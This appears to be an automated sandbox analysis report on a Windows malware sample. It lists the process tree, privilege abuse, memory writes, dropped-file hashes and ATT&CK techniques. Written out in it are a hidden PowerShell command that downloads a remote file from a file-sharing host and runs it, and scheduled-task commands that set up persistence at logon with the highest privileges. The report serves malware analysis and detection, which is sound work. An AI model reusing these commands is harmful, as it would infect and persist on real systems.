pid Process 3300 Explorer.EXE - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1864 Server.exe Token: SeDebugPrivilege 4884 nlifdu3c.oxm.exe Token: SeShutdownPrivilege 3300 Explorer.EXE Token: SeCreatePagefilePrivilege 3300 Explorer.EXE Token: SeShutdownPrivilege 3300 Explorer.EXE Token: SeCreatePagefilePrivilege 3300 Explorer.EXE Token: SeShutdownPrivilege 3300 Explorer.EXE Token: SeCreatePagefilePrivilege 3300 Explorer.EXE Token: SeShutdownPrivilege 3300 Explorer.EXE Token: SeCreatePagefilePrivilege 3300 Explorer.EXE Token: SeDebugPrivilege 3828 powershell.exe Token: SeShutdownPrivilege 4120 svchost.exe Token: SeCreatePagefilePrivilege 4120 svchost.exe Token: SeShutdownPrivilege 4120 svchost.exe Token: SeCreatePagefilePrivilege 4120 svchost.exe Token: SeShutdownPrivilege 4120 svchost.exe Token: SeCreatePagefilePrivilege 4120 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2404 svchost.exe Token: SeIncreaseQuotaPrivilege 2404 svchost.exe Token: SeSecurityPrivilege 2404 svchost.exe Token: SeTakeOwnershipPrivilege 2404 svchost.exe Token: SeLoadDriverPrivilege 2404 svchost.exe Token: SeBackupPrivilege 2404 svchost.exe Token: SeRestorePrivilege 2404 svchost.exe Token: SeShutdownPrivilege 2404 svchost.exe Token: SeSystemEnvironmentPrivilege 2404 svchost.exe Token: SeManageVolumePrivilege 2404 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2404 svchost.exe Token: SeIncreaseQuotaPrivilege 2404 svchost.exe Token: SeSecurityPrivilege 2404 svchost.exe Token: SeTakeOwnershipPrivilege 2404 svchost.exe Token: SeLoadDriverPrivilege 2404 svchost.exe Token: SeSystemtimePrivilege 2404 svchost.exe Token: SeBackupPrivilege 2404 svchost.exe Token: SeRestorePrivilege 2404 svchost.exe Token: SeShutdownPrivilege 2404 svchost.exe Token: SeSystemEnvironmentPrivilege 2404 svchost.exe Token: SeUndockPrivilege 2404 svchost.exe Token: SeManageVolumePrivilege 2404 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2404 svchost.exe Token: SeIncreaseQuotaPrivilege 2404 svchost.exe Token: SeSecurityPrivilege 2404 svchost.exe Token: SeTakeOwnershipPrivilege 2404 svchost.exe Token: SeLoadDriverPrivilege 2404 svchost.exe Token: SeSystemtimePrivilege 2404 svchost.exe Token: SeBackupPrivilege 2404 svchost.exe Token: SeRestorePrivilege 2404 svchost.exe Token: SeShutdownPrivilege 2404 svchost.exe Token: SeSystemEnvironmentPrivilege 2404 svchost.exe Token: SeUndockPrivilege 2404 svchost.exe Token: SeManageVolumePrivilege 2404 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2404 svchost.exe Token: SeIncreaseQuotaPrivilege 2404 svchost.exe Token: SeSecurityPrivilege 2404 svchost.exe Token: SeTakeOwnershipPrivilege 2404 svchost.exe Token: SeLoadDriverPrivilege 2404 svchost.exe Token: SeSystemtimePrivilege 2404 svchost.exe Token: SeBackupPrivilege 2404 svchost.exe Token: SeRestorePrivilege 2404 svchost.exe Token: SeShutdownPrivilege 2404 svchost.exe Token: SeSystemEnvironmentPrivilege 2404 svchost.exe Token: SeUndockPrivilege 2404 svchost.exe Token: SeManageVolumePrivilege 2404 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2404 svchost.exe - Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 3300 Explorer.EXE 3300 Explorer.EXE 3300 Explorer.EXE - Suspicious use of SendNotifyMessage 4 IoCs
pid Process 3300 Explorer.EXE 3300 Explorer.EXE 3300 Explorer.EXE 3300 Explorer.EXE - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 432 Conhost.exe 4552 Conhost.exe - Suspicious use of UnmapMainImage 1 IoCs
pid Process 4052 RuntimeBroker.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1864 wrote to memory of 4884 1864 Server.exe 86 PID 1864 wrote to memory of 3020 1864 Server.exe 87 PID 4884 wrote to memory of 612 4884 nlifdu3c.oxm.exe 5 PID 4884 wrote to memory of 664 4884 nlifdu3c.oxm.exe 7 PID 4884 wrote to memory of 876 4884 nlifdu3c.oxm.exe 11 PID 4884 wrote to memory of 1012 4884 nlifdu3c.oxm.exe 13 PID 4884 wrote to memory of 408 4884 nlifdu3c.oxm.exe 14 PID 4884 wrote to memory of 964 4884 nlifdu3c.oxm.exe 15 PID 4884 wrote to memory of 1044 4884 nlifdu3c.oxm.exe 16 PID 4884 wrote to memory of 1184 4884 nlifdu3c.oxm.exe 18 PID 4884 wrote to memory of 1196 4884 nlifdu3c.oxm.exe 19 PID 4884 wrote to memory of 1204 4884 nlifdu3c.oxm.exe 20 PID 4884 wrote to memory of 1212 4884 nlifdu3c.oxm.exe 21 PID 4884 wrote to memory of 1276 4884 nlifdu3c.oxm.exe 22 PID 4884 wrote to memory of 1324 4884 nlifdu3c.oxm.exe 23 PID 4884 wrote to memory of 1376 4884 nlifdu3c.oxm.exe 24 PID 4884 wrote to memory of 1384 4884 nlifdu3c.oxm.exe 25 PID 4884 wrote to memory of 1476 4884 nlifdu3c.oxm.exe 26 PID 4884 wrote to memory of 1536 4884 nlifdu3c.oxm.exe 27 PID 4884 wrote to memory of 1696 4884 nlifdu3c.oxm.exe 28 PID 4884 wrote to memory of 1704 4884 nlifdu3c.oxm.exe 29 PID 4884 wrote to memory of 1828 4884 nlifdu3c.oxm.exe 30 PID 4884 wrote to memory of 1848 4884 nlifdu3c.oxm.exe 31 PID 4884 wrote to memory of 1896 4884 nlifdu3c.oxm.exe 32 PID 4884 wrote to memory of 1928 4884 nlifdu3c.oxm.exe 33 PID 4884 wrote to memory of 1988 4884 nlifdu3c.oxm.exe 34 PID 4884 wrote to memory of 2032 4884 nlifdu3c.oxm.exe 35 PID 4884 wrote to memory of 2040 4884 nlifdu3c.oxm.exe 36 PID 4884 wrote to memory of 1784 4884 nlifdu3c.oxm.exe 37 PID 4884 wrote to memory of 2084 4884 nlifdu3c.oxm.exe 38 PID 4884 wrote to memory of 2088 4884 nlifdu3c.oxm.exe 39 PID 4884 wrote to memory of 2268 4884 nlifdu3c.oxm.exe 41 PID 4884 wrote to memory of 2384 4884 nlifdu3c.oxm.exe 42 PID 4884 wrote to memory of 2404 4884 nlifdu3c.oxm.exe 43 PID 4884 wrote to memory of 2584 4884 nlifdu3c.oxm.exe 44 PID 4884 wrote to memory of 2592 4884 nlifdu3c.oxm.exe 45 PID 4884 wrote to memory of 2688 4884 nlifdu3c.oxm.exe 46 PID 4884 wrote to memory of 2752 4884 nlifdu3c.oxm.exe 47 PID 4884 wrote to memory of 2820 4884 nlifdu3c.oxm.exe 48 PID 4884 wrote to memory of 2840 4884 nlifdu3c.oxm.exe 49 PID 4884 wrote to memory of 2956 4884 nlifdu3c.oxm.exe 51 PID 4884 wrote to memory of 3008 4884 nlifdu3c.oxm.exe 52 PID 4884 wrote to memory of 1348 4884 nlifdu3c.oxm.exe 53 PID 4884 wrote to memory of 772 4884 nlifdu3c.oxm.exe 54 PID 4884 wrote to memory of 3208 4884 nlifdu3c.oxm.exe 55 PID 4884 wrote to memory of 3300 4884 nlifdu3c.oxm.exe 56 PID 4884 wrote to memory of 3416 4884 nlifdu3c.oxm.exe 57 PID 4884 wrote to memory of 3628 4884 nlifdu3c.oxm.exe 58 PID 4884 wrote to memory of 3804 4884 nlifdu3c.oxm.exe 60 PID 4884 wrote to memory of 4052 4884 nlifdu3c.oxm.exe 62 PID 4884 wrote to memory of 4304 4884 nlifdu3c.oxm.exe 65 PID 4884 wrote to memory of 1660 4884 nlifdu3c.oxm.exe 67 PID 4884 wrote to memory of 4208 4884 nlifdu3c.oxm.exe 68 PID 4884 wrote to memory of 864 4884 nlifdu3c.oxm.exe 70 PID 4884 wrote to memory of 2264 4884 nlifdu3c.oxm.exe 71 PID 4884 wrote to memory of 688 4884 nlifdu3c.oxm.exe 72 PID 4884 wrote to memory of 1972 4884 nlifdu3c.oxm.exe 73 PID 4884 wrote to memory of 4028 4884 nlifdu3c.oxm.exe 74 PID 4884 wrote to memory of 1616 4884 nlifdu3c.oxm.exe 75 PID 4884 wrote to memory of 456 4884 nlifdu3c.oxm.exe 76 PID 4884 wrote to memory of 4848 4884 nlifdu3c.oxm.exe 77 PID 4884 wrote to memory of 1584 4884 nlifdu3c.oxm.exe 79 PID 4884 wrote to memory of 2280 4884 nlifdu3c.oxm.exe 80 PID 4884 wrote to memory of 4540 4884 nlifdu3c.oxm.exe 83 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:612
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:408
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:664
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C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-7aaa8131-cb9d-4279-84bc-1a333a4b345e -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-868a4d8f-d70c-4783-941d-7e8a52936d26 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-b9943e01-0265-4b59-beb2-410db06d82be -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-8cb36f22-4cc0-4ae7-a1a0-05476922b403 -LifetimeId:212b0a3a-9411-4fc6-96b8-1ccd3cc8c9ee -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵PID:876
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:1012
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:964
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1044
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1184
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1196
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1204 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:1348
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C:\Windows\system32\MusNotification.exeC:\Windows\system32\MusNotification.exe2⤵PID:4540
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1212
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1276
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1324
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1376
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵PID:1384
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1476
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2956
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1536
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1696
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1704
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1828
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1848
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1896
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1928
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1988
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:2032
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2040
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1784
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2084
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2088
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2268
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2384
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2404
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2584
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2592
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2688
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Enumerates connected drives
PID:2752
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2820
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2840
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:3008
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:772
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3208
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3300 -
C:\Users\Admin\AppData\Local\Temp\Server.exe"C:\Users\Admin\AppData\Local\Temp\Server.exe"2⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1864 -
C:\Users\Admin\AppData\Local\Temp\nlifdu3c.oxm.exe"C:\Users\Admin\AppData\Local\Temp\nlifdu3c.oxm.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4884
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C:\Windows\SYSTEM32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "MasonServer.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Server.exe'" /sc onlogon /rl HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:3020
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C:\Windows\SYSTEM32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "MasonServer.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Server.exe'" /sc onlogon /rl HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:824 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:2556
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/8ruqew.rar' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3828 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
- Suspicious use of SetWindowsHookEx
PID:432
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3416
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3628
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3804
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of UnmapMainImage
PID:4052
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4304
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
PID:1660
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4208
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:864
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:2264
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:688
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:1972
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4028
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1616
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:456
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:4848
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s camsvc1⤵PID:1584
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:2280
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:2256
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe b7321c6cc723ee843516a55ca2346f4c pIQY9r03w0WsQmbnk2YGWw.0.1.0.0.01⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:4692 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵PID:4684
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:4120
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:4720
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:2612
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
- Checks processor information in registry
PID:3820
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:2772
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Suspicious use of SetWindowsHookEx
PID:4552
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C:\Windows\system32\UsoClient.exeC:\Windows\system32\usoclient.exe1⤵PID:4724
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵
- Drops file in Windows directory
PID:5036
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Pre-OS Boot
1Bootkit
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Indicator Removal
1Clear Windows Event Logs
1Modify Registry
1Pre-OS Boot
1Bootkit
1Replay Monitor
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Downloads
- Path C:\ProgramData\Microsoft\Windows\OneSettings\config.json
- Size 6KB
- SHA256 a798dead9cfb0ce27e67b6298c9cc85df87d4af6f0c865742a76a4cf5c208068
- MD5 5e1a01d6bf4e00ffeaf4e5531d0bec8e
- SHA1 48eea89c355a37371c53a598a7ca892c2194edf8
- SHA512 1dd0fdc05ea760ec9bd5c495bd32be3487dd52fc905322e272a009105782c2c1780714b51e54d62302d16a6893062120db0cbccbd5a4f7b271551f141b49af8c
- SSDEEP 192:nGDCctouMgRXUhWwpoTQ/eKIO2CE4cA1RdrPLjT:nG5touMgRXUhWwpoTQ/eKL2tXWRVPLjT
- TLSH T115E1750DB184C87E9FAB61E6644AB940C6687B27ADC44CE4E5C28D1ED45F74C711CBE8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
- Size 342B
- SHA256 5a16ae460bb2a15b6c022d032bc2f8122d303a1a0c70e01f74dad1e56b8c1593
- MD5 4b903bb10dea9385bace2889c634107f
- SHA1 afe6ac593a4f646a96db9aebcaa17fce96a7fac1
- SHA512 ed0dab3433e94fc2b5fae2d057c4f9cde5be7e0b20550f99bec11e460eff441e69c26133478086d75a71a71625983d2dd98eceb6fc1cc6378bba4e265330062f
- TLSH T161E08C123BB80205F5730E3CA933A444AA3A72AAAA01CA8D0B75008D4E25FA5983221D
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419
- Size 412B
- SHA256 598139421734cef13ea8334891bbe59b05ad6c110e2ed8b0703d80ddce5556ad
- MD5 da683916349ae73ad4daace3b314cb9c
- SHA1 17d9f593ce7e78e47c6136db27ec8cb297ef3476
- SHA512 7de163c43498454cd16053d4054b43ec612d10587465ab1d3f026d17d5e4f76cb343d538b1ac6b8abf610c45118b374249081a702121fd4a9223aa79fccdb49d
- TLSH T18EE0C02C15FF505DF4F4C4748FEA7921D6AEF0650508B1BE1BE01708A617900EC81D35
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cffmf1np.mki.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\nlifdu3c.oxm.exe
- Size 161KB
- SHA256 879cc20b41635709bb304e315aaa5ca4708b480a1bfc2f4935fcf2215188efb0
- MD5 94f1ab3a068f83b32639579ec9c5d025
- SHA1 38f3d5bc5de46feb8de093d11329766b8e2054ae
- SHA512 44d5236a804d63302b21ca25ebc148a64605508d03c990a244c44ceb8630849da0510b7b2d0bee72e01ca6681e2d86d7e6aee8847674a26f0028d149b9abee0c
- SSDEEP 3072:hLD8KbgVtn8Mo8G1gVziHzZbIK1YKB/pCAcNqXhwBV3yxSQig8xN:h/5bTgVziHzZnSKrCbYM
- TLSH T10BF33C07BAA500F7E976823585739E17B7B2F42503209BBF0B654A6E0FA37906D3DB50
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
- Size 2KB
- SHA256 98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
- MD5 ceb7caa4e9c4b8d760dbf7e9e5ca44c5
- SHA1 a3879621f9493414d497ea6d70fbf17e283d5c08
- SHA512 1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
- TLSH T12951455367EE1108F2F76B2CAEB620218EA77D455D39C46D00AC240DCBF7E6289607B7
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
- Size 2KB
- SHA256 727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
- MD5 7d612892b20e70250dbd00d0cdd4f09b
- SHA1 63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
- SHA512 f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
- TLSH T15151455367EE1108F2F76B2CAEB620218EA77D455D39C46D00AC240DCBF7E6289607B7
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
- Size 2KB
- SHA256 55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
- MD5 1e8e2076314d54dd72e7ee09ff8a52ab
- SHA1 5fd0a67671430f66237f483eef39ff599b892272
- SHA512 5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6
- TLSH T1CD51355367EE1108F2F76B2CAEB620218EA77D455D39C46D01AC240DCBF7E6289607B7
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
- Size 2KB
- SHA256 a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
- MD5 0b990e24f1e839462c0ac35fef1d119e
- SHA1 9e17905f8f68f9ce0a2024d57b537aa8b39c6708
- SHA512 c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4
- TLSH T18C51355367EE1108F2F76B2CAEB620218EA77D455D39C46D01AC240DCBF7E6289607B7
- MD5 SHA1 SHA512 TLSH